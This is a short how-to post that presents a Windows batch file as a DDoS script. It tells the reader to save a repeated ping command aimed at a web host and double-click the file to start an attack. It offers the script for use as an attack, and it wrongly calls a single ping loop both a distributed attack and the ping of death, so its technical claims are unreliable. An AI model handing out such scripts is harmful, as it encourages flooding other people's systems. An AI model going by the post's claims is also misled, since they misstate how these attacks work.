DDOS attack - Script

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Command to do a DDOS attack:

--> This is also called as the ping of death attack

Copy the below script into notepad and save it to .bat file. 

Script:
@echo off
ping -n 2000 -l 500 <www.example.com>

Then double click on bat file, DDOS attack will start 

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